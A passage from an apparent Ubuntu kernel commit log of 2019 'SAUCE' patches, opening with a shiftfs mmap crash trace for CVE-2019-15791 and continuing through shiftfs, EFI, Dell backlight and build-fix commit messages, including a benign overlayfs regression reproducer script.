[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
[ 183.516155] __x64_sys_mmap+0x33/0x40
[ 183.517352] do_syscall_64+0x5a/0x130
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================

Disassembly of surrounding code:

55 push rbp
4889E5 mov rbp,rsp
4157 push r15
4156 push r14
4155 push r13
4154 push r12
488B87C8000000 mov rax,[rdi+0xc8]
4C8B6810 mov r13,[rax+0x10]
498B4528 mov rax,[r13+0x28]
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000 jz near 0xcc
4989FC mov r12,rdi
4989F6 mov r14,rsi

This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
CVE-2019-15791

Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>
2 years agoUBUNTU: SAUCE: efi: efi_get_memory_map -- increase map headroom
Andy Whitcroft [Fri, 8 Nov 2019 10:25:46 +0000 (10:25 +0000)]
UBUNTU: SAUCE: efi: efi_get_memory_map -- increase map headroom

We are seeing some EFI based machines failing to boot hard in the EFI
stub:

    exit_boot() failed!
    efi_main() failed!

This seems to occur when the bootloader (grub2 in this case) has had
to manipulate some additional files due to a change in the way MAAS
boots the machines.  We tracked this down to the memory map dance
efi_get_memory_map().  Basically we attempt to close boot services and
it informs us it cannot do so because it failed to record the updated
memory map.  This occurs when there is insufficient space in the passed
memory map buffer to record changes during the operation.  At the point
when this occurs we are unable to call the allocation functions to
reallocate the buffer so we panic.

To avoid this we allocate some additional entries in the buffer to cover
any additional entries.  This headroom is currently insufficient for
these machines under this use case.  Increase EFI_MMAP_NR_SLACK_SLOTS to
provide space for more memory map modifications.

BugLink: https://bugs.launchpad.net/bugs/1851810
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: drop CAP_SYS_RESOURCE from effective capabilities
Christian Brauner [Wed, 23 Oct 2019 12:23:50 +0000 (14:23 +0200)]
UBUNTU: SAUCE: shiftfs: drop CAP_SYS_RESOURCE from effective capabilities

BugLink: https://bugs.launchpad.net/bugs/1849483
Currently shiftfs allows to exceed project quota and reserved space on
e.g. ext2. See [1] and especially [2] for a bug report. This is very
much not what we want. Quotas and reserverd space settings set on the
host need to respected. The cause for this issue is overriding the
credentials with the superblock creator's credentials whenever we
perform operations such as fallocate() or writes while retaining
CAP_SYS_RESOURCE.

The fix is to drop CAP_SYS_RESOURCE from the effective capability set
after we have made a copy of the superblock creator's credential at
superblock creation time. This very likely gives us more security than
we had before and the regression potential seems limited. I would like
to try this apporach first before coming up with something potentially
more sophisticated. I don't see why CAP_SYS_RESOURCE should become a
limiting factor in most use-cases.

[1]: https://github.com/lxc/lxd/issues/6333
[2]: https://github.com/lxc/lxd/issues/6333#issuecomment-545154838
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Connor Kuehl <connor.kuehl@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: setup correct s_maxbytes limit
Christian Brauner [Wed, 23 Oct 2019 12:22:28 +0000 (14:22 +0200)]
UBUNTU: SAUCE: shiftfs: setup correct s_maxbytes limit

BugLink: https://bugs.launchpad.net/bugs/1849482
Set the s_maxbytes limit to MAX_LFS_FILESIZE.
Currently shiftfs limits the maximum size for fallocate() needlessly
causing calls such as fallocate --length 2GB ./file to fail. This
limitation is arbitrary since it's not caused by the underlay but
rather by shiftfs itself capping the s_maxbytes. This causes bugs such
as the one reported in [1].

[1]: https://github.com/lxc/lxd/issues/6333
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Connor Kuehl <connor.kuehl@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: add quirk for old platforms
AceLan Kao [Thu, 7 Nov 2019 06:36:44 +0000 (14:36 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: add quirk for old platforms

BugLink: https://bugs.launchpad.net/bugs/1813877
Old platforms do not support DELL_UART_GET_SCALAR command and the
behavior of DELL_UART_GET_FIRMWARE_VER command is different as the new
firmware, so the new way to check if the backlight is controlled by
scalar IC doesn't work on old platforms. We now add them into a list and
use the old way to do the check.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: add force parameter
AceLan Kao [Thu, 7 Nov 2019 06:36:43 +0000 (14:36 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: add force parameter

BugLink: https://bugs.launchpad.net/bugs/1813877
Add force parameter to force load the driver if the platform doesn't
provide a working scalar status command.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: load driver by scalar status
AceLan Kao [Thu, 7 Nov 2019 06:36:42 +0000 (14:36 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: load driver by scalar status

BugLink: https://bugs.launchpad.net/bugs/1813877
Leverage the scalar status command to determinate whether the driver
should be loaded or not.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: add missing status command
AceLan Kao [Thu, 7 Nov 2019 06:36:41 +0000 (14:36 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: add missing status command

BugLink: https://bugs.launchpad.net/bugs/1813877
DELL_UART_GET_SCALAR has been declared in
drivers/platform/x86/dell-uart-backlight.h, but its definition is
missing. It won't lead to issues on old AIO platforms, since this
command is newly introduced and is not supported by all old AIOs.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: Restore vm_file value when lower fs mmap fails
Seth Forshee [Wed, 6 Nov 2019 15:38:57 +0000 (09:38 -0600)]
UBUNTU: SAUCE: shiftfs: Restore vm_file value when lower fs mmap fails

BugLink: https://bugs.launchpad.net/bugs/1850994
shiftfs_mmap() overwrites vma->vm_file before calling the lower
filesystem mmap but does not restore the original value on
failure. This means it is giving a pointer to the lower fs file
back to the caller with no reference, which is a bad practice.
However, it does not lead to any issues with upstream kernels as
no caller accesses vma->vm_file after call_mmap().

With the aufs patches applied the story is different. Whereas
mmap_region() previously fput a local variable containing the
file it assigned to vm_file, it now calls vma_fput() which will
fput vm_file, for which it has no reference, and the reference
for the original vm_file is not put.

Fix this by restoring vma->vm_file to the original value when the
mmap call into the lower fs fails.

CVE-2019-15794

Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: overlayfs: allow with shiftfs as underlay
Christian Brauner [Wed, 2 Oct 2019 07:58:20 +0000 (09:58 +0200)]
UBUNTU: SAUCE: overlayfs: allow with shiftfs as underlay

BugLink: https://bugs.launchpad.net/bugs/1846272
In commit [1] we enabled overlayfs on top of shiftfs. This approach was
buggy since it let to a regression for some standard overlayfs workloads
(cf. [2]).
In our original approach in [1] Seth and I concluded that running
overlayfs on top of shiftfs was not possible because of the way
overlayfs is currently opening files. The fact that it did not pass down
the dentry of shiftfs but rather it's own caused shiftfs to be confused
since it stashes away necessary information in d_fsdata.
Our solution was to modify open_with_fake_path() to also take a dentry
as an argument, then change overlayfs to pass in the shiftfs dentry
which then would override the dentry in the passed in struct path in
open_with_fake_path().
However, this led to a regression for some standard overlayfs workloads
(cf. [2]).
After various discussions involving Seth and myself in Paris we
concluded the reason for the regression was that we effectively created
a struct path that was comprised of the vfsmount of the overlayfs dentry
and the dentry of shiftfs. This is obviously broken.
The fix is to a) not modify open_with_fake_path() and b) change
overlayfs to do what shiftfs is doing, namely correctly setup the struct
path such that vfsmount and dentry match and are both from shiftfs.
Note, that overlayfs already does this for the .open method for
directories. It just did not do it for the .open method for regular
files leading to this issue. The reason why this hasn't been a problem
for overlayfs so far is that it didn't allow running on top of
filesystems that make use of d_fsdata _implicitly_ by disallowing any
filesystem that is itself an overlay, or has revalidate methods for it's
dentries as those usually have d_fsdata set up. Any other filesystem
falling in this category would have suffered from the same problem.

Seth managed to trigger the regression with the following script:
 #!/bin/bash

 utils=(bash cat)

 mkdir -p lower/proc upper work root
 for util in ${utils[@]}; do
  path="$(which $util)"
  dir="$(dirname $path)"
  mkdir -p "lower/$dir"
  cp -v "$path" "lower/$path"
  libs="$(ldd $path | egrep -o '(/usr)?/lib.*\.[0-9]')"
  for lib in $libs; do
  dir="$(dirname $lib)"
  mkdir -p "lower/$dir"
  cp -v "$lib" "lower/$lib"
  done
 done

 mount -t overlay -o lowerdir=lower,upperdir=upper,workdir=work nodev root
 mount -t proc nodev root/proc
 chroot root bash -c "cat /proc/self/maps"
 umount root/proc
 umount root

With the patch here applied the regression is not reproducible.

/* References */
[1]: 37430e430a14 ("UBUNTU: SAUCE: shiftfs: enable overlayfs on shiftfs")
[2]: https://bugs.launchpad.net/bugs/1838677

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Connor Kuehl <connor.kuehl@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: rework how shiftfs opens files
Christian Brauner [Wed, 2 Oct 2019 07:57:14 +0000 (09:57 +0200)]
UBUNTU: SAUCE: shiftfs: rework how shiftfs opens files

BugLink: https://bugs.launchpad.net/bugs/1846265
This commit simplifies how shiftfs open files, both regular files an
directories.

In the first iteration, we implemented a kmem cache for struct
shiftfs_file_info which stashed away a struct path and the struct file
for the underlay. The path however was never used anywhere so the struct
shiftfs_file_info and therefore the whole kmem cache can go away.
Instead we move to the same model as overlayfs and just stash away the
struct file for the underlay in file->private_data of the shiftfs struct
file.
Addtionally, we split the .open method for files and directories.
Similar to overlayfs .open for regular files uses open_with_fake_path()
which ensures that it doesn't contribute to the open file count (since
this would mean we'd count double). The .open method for directories
however used dentry_open() which contributes to the open file count.

The basic logic for opening files is unchanged. The main point is to
ensure that a reference to the underlay's dentry is kept through struct
path.

Various bits and pieces of this were cooked up in discussions Seth and I
had in Paris.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: powerpc/vio: drop bus_type from parent device
Thadeu Lima de Souza Cascardo [Fri, 27 Sep 2019 14:41:53 +0000 (11:41 -0300)]
UBUNTU: SAUCE: powerpc/vio: drop bus_type from parent device

BugLink: https://bugs.launchpad.net/bugs/1845572
Commit df44b479654f62b478c18ee4d8bc4e9f897a9844 ("kobject: return error code if
writing /sys/.../uevent fails") started returning failure when writing to
/sys/devices/vio/uevent.

This causes an early udevadm trigger to fail. On some installer versions of
Ubuntu, this will cause init to exit, thus panicing the system very early
during boot.

Removing the bus_type from the parent device will remove some of the extra
empty files from /sys/devices/vio/, but will keep the rest of the layout for
vio devices, keeping them under /sys/devices/vio/.

It has been tested that uevents for vio devices don't change after this fix,
they still contain MODALIAS.

Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Acked-by: Seth Forshee <seth.forshee@canonical.com>
Acked-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: mark slab objects SLAB_RECLAIM_ACCOUNT
Christian Brauner [Fri, 30 Aug 2019 12:14:31 +0000 (14:14 +0200)]
UBUNTU: SAUCE: shiftfs: mark slab objects SLAB_RECLAIM_ACCOUNT

BugLink: https://bugs.launchpad.net/bugs/1842059
Shiftfs does not mark it's slab cache as reclaimable. While this is not
a big deal it is not nice to the kernel in general. The shiftfs cache is
not so important that it can't be reclaimed.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: fix buggy unlink logic
Christian Brauner [Thu, 29 Aug 2019 18:45:07 +0000 (20:45 +0200)]
UBUNTU: SAUCE: shiftfs: fix buggy unlink logic

BugLink: https://bugs.launchpad.net/bugs/1841977
The way we messed with setting i_nlink was brittle and wrong. We used to
set the i_nlink of the shiftfs dentry to be deleted to the i_nlink count
of the underlay dentry of the directory it resided in which makes no
sense whatsoever. We also missed drop_nlink() which is crucial since
i_nlink affects whether a dentry is cleaned up on dput().
With this I cannot reproduce the bug anymore where shiftfs misleads zfs
into believing that a deleted file can not be removed from disk because
it is still referenced.

Fixes: commit 87011da41961 ("shiftfs: rework and extend")
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests: fib_tests: assign address to dummy1 for rp_filter tests
Seth Forshee [Wed, 21 Aug 2019 20:09:45 +0000 (15:09 -0500)]
UBUNTU: SAUCE: selftests: fib_tests: assign address to dummy1 for rp_filter tests

The rp_filter test tries to ping using the dummy1 interface
without assigning it an IP address. Give the interface an IP
address so the tests will pass.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: pass correct point down
Christian Brauner [Fri, 19 Jul 2019 15:50:47 +0000 (17:50 +0200)]
UBUNTU: SAUCE: shiftfs: pass correct point down

BugLink: https://bugs.launchpad.net/bugs/1837231
This used to pass an unsigned long to copy_from_user() instead of a
void __user * pointer. This will produce warning with a sufficiently
advanced compiler.

Cc: Seth Forshee <seth.forshee@canonical.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: add O_DIRECT support
Christian Brauner [Fri, 19 Jul 2019 15:50:46 +0000 (17:50 +0200)]
UBUNTU: SAUCE: shiftfs: add O_DIRECT support

BugLink: https://bugs.launchpad.net/bugs/1837223
This enabled O_DIRECT support for shiftfs if the underlay supports it.

Currently shiftfs does not handle O_DIRECT if the underlay supports it.
This is blocking dqlite - an essential part of LXD - from profiting from
the performance benefits of O_DIRECT on suitable filesystems when used
with async io such as aio or io_uring.
Overlayfs cannot support this directly since the upper filesystem in
overlay can be any filesystem. So if the upper filesystem does not
support O_DIRECT but the lower filesystem does you're out of luck.
Shiftfs does not suffer from the same problem since there is not concept
of an upper filesystem in the same way that overlayfs has it.
Essentially, shiftfs is a transparent shim relaying everything to the
underlay while overlayfs' upper layer is not (completely).

Cc: Seth Forshee <seth.forshee@canonical.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests/powerpc/ptrace: fix build failure
Thadeu Lima de Souza Cascardo [Tue, 9 Jul 2019 08:33:49 +0000 (05:33 -0300)]
UBUNTU: SAUCE: selftests/powerpc/ptrace: fix build failure

Add -Wno-error=deprecated to its Makefile CFLAGS to avoid build failure.

Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: usbip: add -Wno-address-of-packed-member to EXTRA_CFLAGS
Seth Forshee [Mon, 8 Jul 2019 04:15:19 +0000 (23:15 -0500)]
UBUNTU: SAUCE: usbip: add -Wno-address-of-packed-member to EXTRA_CFLAGS

Fails to build with gcc 9.1.0 due to
-Werror=address-of-packed-member. One example:

  usbip_network.c: In function 'usbip_net_pack_usb_device':
  usbip_network.c:79:32: error: taking address of packed member of 'struct usbip_usb_device' may result in an unaligned pointer value [-Werror=address-of-packed-member]
     79 |  usbip_net_pack_uint32_t(pack, &udev->busnum);
        |                                ^~~~~~~~~~~~~

All of these are code which is explicitly packing a struct, so
add -Wno-address-of-packed-member to EXTRA_CFLAGS to disable this
warning.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: tools -- fix add ability to disable libbfd
Andy Whitcroft [Wed, 8 May 2019 13:24:40 +0000 (14:24 +0100)]
UBUNTU: SAUCE: tools -- fix add ability to disable libbfd

BugLink: https://bugs.launchpad.net/bugs/1826410
In commit 14541b1e7e ("perf build: Don't unconditionally link the libbfd
feature test to -liberty and -lz") the enablement code changed radically
neutering our override.  Adapt to that new form.

Fixes: 546d50456e ("UBUNTU: SAUCE: tools -- add ability to disable libbfd")
Signed-off-by: Andy Whitcroft <apw@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: integrity: downgrade error to warning
Andrea Righi [Sat, 20 Apr 2019 07:41:00 +0000 (09:41 +0200)]
UBUNTU: SAUCE: integrity: downgrade error to warning

BugLink: https://bugs.launchpad.net/bugs/1766201
In 58441dc86d7b the error "Unable to open file: ..." has been downgraded
to warning in the integrity/ima subsystem. Do the same for a similar
error message in the generic integrity subsystem.

Signed-off-by: Andrea Righi <andrea.righi@canonical.com>
Acked-by: Connor Kuehl <connor.kuehl@canonical.com>
Acked-by: Khalid Elmously <khalid.elmously@canonical.com>
Acked-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
Signed-off-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: allow changing ro/rw for subvolumes
Christian Brauner [Tue, 11 Jun 2019 09:47:35 +0000 (11:47 +0200)]
UBUNTU: SAUCE: shiftfs: allow changing ro/rw for subvolumes

BugLink: https://bugs.launchpad.net/bugs/1832316
This enables toggling between ro/rw for btrfs subvolumes under shiftfs.

Currently, btrfs workloads employing shiftfs cause regression.
With btrfs unprivileged users can already toggle whether a subvolume
will be ro or rw. This is broken on current shiftfs as we haven't
whitelisted these ioctls().
To prevent such regression, we need to whitelist the ioctls
BTRFS_IOC_FS_INFO, BTRFS_IOC_SUBVOL_GETFLAGS, and
BTRFS_IOC_SUBVOL_SETFLAGS. All of them should be safe for unprivileged
users.

Cc: Seth Forshee <seth.forshee@canonical.com>
Cc: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: lock down certain superblock flags
Christian Brauner [Wed, 8 May 2019 12:13:14 +0000 (14:13 +0200)]
UBUNTU: SAUCE: shiftfs: lock down certain superblock flags

BugLink: https://bugs.launchpad.net/bugs/1827122
This locks down various superblock flags to prevent userns-root from
remounting a superblock with less restrictive options than the original
mark or underlay mount.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: use separate llseek method for directories
Christian Brauner [Tue, 16 Apr 2019 16:29:00 +0000 (18:29 +0200)]
UBUNTU: SAUCE: shiftfs: use separate llseek method for directories

BugLink: https://bugs.launchpad.net/bugs/1824812
Give shiftfs it's own proper llseek method for directories.

Before this commit we used to rely on an llseek method that was
targeted for regular files for both directories and regular files.
However, the realfile's f_pos was not correctly handled when userspace
called lseek(2) on a shiftfs directory file. Give directories their
own llseek operation so that seeking on a directory file is properly
supported.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Seth Forshee <seth.forshee@canonical.com>
Acked-by: Tyler Hicks <tyhicks@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: prevent use-after-free when verifying mount options
Christian Brauner [Mon, 15 Apr 2019 13:21:55 +0000 (15:21 +0200)]
UBUNTU: SAUCE: shiftfs: prevent use-after-free when verifying mount options

BugLink: https://bugs.launchpad.net/bugs/1824735
Copy up the passthrough mount settings of the mark mount point to the
shiftfs overlay.

Before this commit we used to keep a reference to the shiftfs mark
mount's shiftfs_super_info which was stashed in the superblock of the
mark mount. The problem is that we only take a reference to the mount of
the underlay, i.e. the filesystem that is *under* the shiftfs mark
mount. This means when someone performs a shiftfs mark mount, then a
shiftfs overlay mount and then immediately unmounts the shiftfs mark
mount we muck with invalid memory since shiftfs_put_super might have
already been called freeing that memory.

Another solution would be to start reference counting. But this would be
overkill. We only care about the passthrough mount option of the mark
mount. And we only need it to verify that on remount the new passthrough
options of the shiftfs overlay are a subset of the mark mount's
passthrough options. In other scenarios we don't care. So copying up is
good enough and also only needs to happen once on mount, i.e. when a new
superblock is created and the .fill_super method is called.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Seth Forshee <seth.forshee@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: fix passing of attrs to underaly for setattr
Seth Forshee [Sat, 13 Apr 2019 19:41:01 +0000 (14:41 -0500)]
UBUNTU: SAUCE: shiftfs: fix passing of attrs to underaly for setattr

BugLink: https://bugs.launchpad.net/bugs/1824717
shiftfs_setattr() makes a copy of the attrs it was passed to pass
to the lower fs. It then calls setattr_prepare() with the original
attrs, and this may make changes which are not reflected in the
attrs passed to the lower fs. To fix this, copy the attrs to the
new struct for the lower fs after calling setattr_prepare().

Additionally, notify_change() may have set ATTR_MODE when one of
ATTR_KILL_S[UG]ID is set, and passing this combination to
notify_change() will trigger a BUG(). Do as overlayfs and
ecryptfs both do, and clear ATTR_MODE if either of those bits
is set.

Reviewed-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Acked-by: Brad Figg <brad.figg@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: use translated ids when chaning lower fs attrs
Seth Forshee [Thu, 11 Apr 2019 12:31:04 +0000 (07:31 -0500)]
UBUNTU: SAUCE: shiftfs: use translated ids when chaning lower fs attrs

BugLink: https://bugs.launchpad.net/bugs/1824350
shiftfs_setattr() is preparing a new set of attributes with the
owner translated for the lower fs, but it then passes the
original attrs. As a result the owner is set to the untranslated
owner, which causes the shiftfs inodes to also have incorrect
ids. For example:

 # mkdir dir
 # touch file
 # ls -lh dir file
 drwxr-xr-x 2 root root 4.0K Apr 11 13:05 dir
 -rw-r--r-- 1 root root 0 Apr 11 13:05 file
 # chown 500:500 dir file
 # ls -lh dir file
 drwxr-xr-x 2 1000500 1000500 4.0K Apr 11 12:42 dir
 -rw-r--r-- 1 1000500 1000500 0 Apr 11 12:42 file

Fix this to pass the correct iattr struct to notify_change().

Reviewed-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: support some btrfs ioctls
Christian Brauner [Thu, 4 Apr 2019 13:39:13 +0000 (15:39 +0200)]
UBUNTU: SAUCE: shiftfs: support some btrfs ioctls

BugLink: https://bugs.launchpad.net/bugs/1823186
Shiftfs currently only passes through a few ioctl()s to the underlay. These
are ioctl()s that are generally considered safe. Doing it for random
ioctl()s would be a security issue. Permissions for ioctl()s are not
checked before the filesystem gets involved so if we were to override
credentials we e.g. could do a btrfs tree search in the underlay which we
normally wouldn't be allowed to do.
However, the btrfs filesystem allows unprivileged users to perform various
operations through its ioctl() interface. With shiftfs these ioctl() are
currently not working. To not regress users that expect btrfs ioctl()s to
work in unprivileged containers we can create a whitelist of ioctl()s that
we allow to go through to the underlay and for which we also switch
credentials.
The main problem is how we switch credentials. Since permissions checks for
ioctl()s are
done by the actual file system and not by the vfs this would mean that any
additional capable(<cap>)-based checks done by the filesystem would
unconditonally pass after we switch credentials. So to make credential
switching safe we drop *all* capabilities when switching credentials. This
means that only inode-based permission checks will pass.

Btrfs also allows unprivileged users to delete snapshots when the
filesystem is mounted with user_subvol_rm_allowed mount option or if the
the callers is capable(CAP_SYS_ADMIN). The latter should never be the case
with unprivileged users. To make sure we only allow removal of snapshots in
the former case we drop all capabilities (see above) when switching
credentials.

Additonally, btrfs allows the creation of snapshots. To make this work we
need to be (too) clever. When doing snapshots btrfs requires that an fd to
the directory the snapshot is supposed to be created in be passed along.
This fd obviously references a shiftfs file and as such a shiftfs dentry
and inode.  This will cause btrfs to yell EXDEV. To circumnavigate this
problem we need to silently temporarily replace the passed in fd with an fd
that refers to a file that references a btrfs dentry and inode.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: rework and extend
Christian Brauner [Thu, 4 Apr 2019 13:39:12 +0000 (15:39 +0200)]
UBUNTU: SAUCE: shiftfs: rework and extend

BugLink: https://bugs.launchpad.net/bugs/1823186
/* Introduction */
The shiftfs filesystem is implemented as a stacking filesystem. Since it is
a stacking filesystem it shares concepts with overlayfs and ecryptfs.
Usually, shiftfs will be stacked upon another filesystem. The filesystem on
top - shiftfs - is referred to as "upper filesystem" or "overlay" and the
filesystem it is stacked upon is referred to as "lower filesystem" or
"underlay".

/* Marked and Unmarked shiftfs mounts */
To use shiftfs it is necessary that a given mount is marked as shiftable via
the "mark" mount option. Any mount of shiftfs without the "mark" mount option
not on top of a shiftfs mount with the "mark" mount option will be refused with
EPERM.
After a marked shiftfs mount has been performed other shiftfs mounts
referencing the marked shiftfs mount can be created. These secondary shiftfs
mounts are usually what are of interest.
The marked shiftfs mount will take a reference to the underlying mountpoint of
the directory it is marking as shiftable. Any unmarked shiftfts mounts
referencing this marked shifts mount will take a second reference to this
directory as well. This ensures that the underlying marked shiftfs mount can be
unmounted thereby dropping the reference to the underlying directory without
invalidating the mountpoint of said directory since the non-marked shiftfs
mount still holds another reference to it.

/* Stacking Depth */
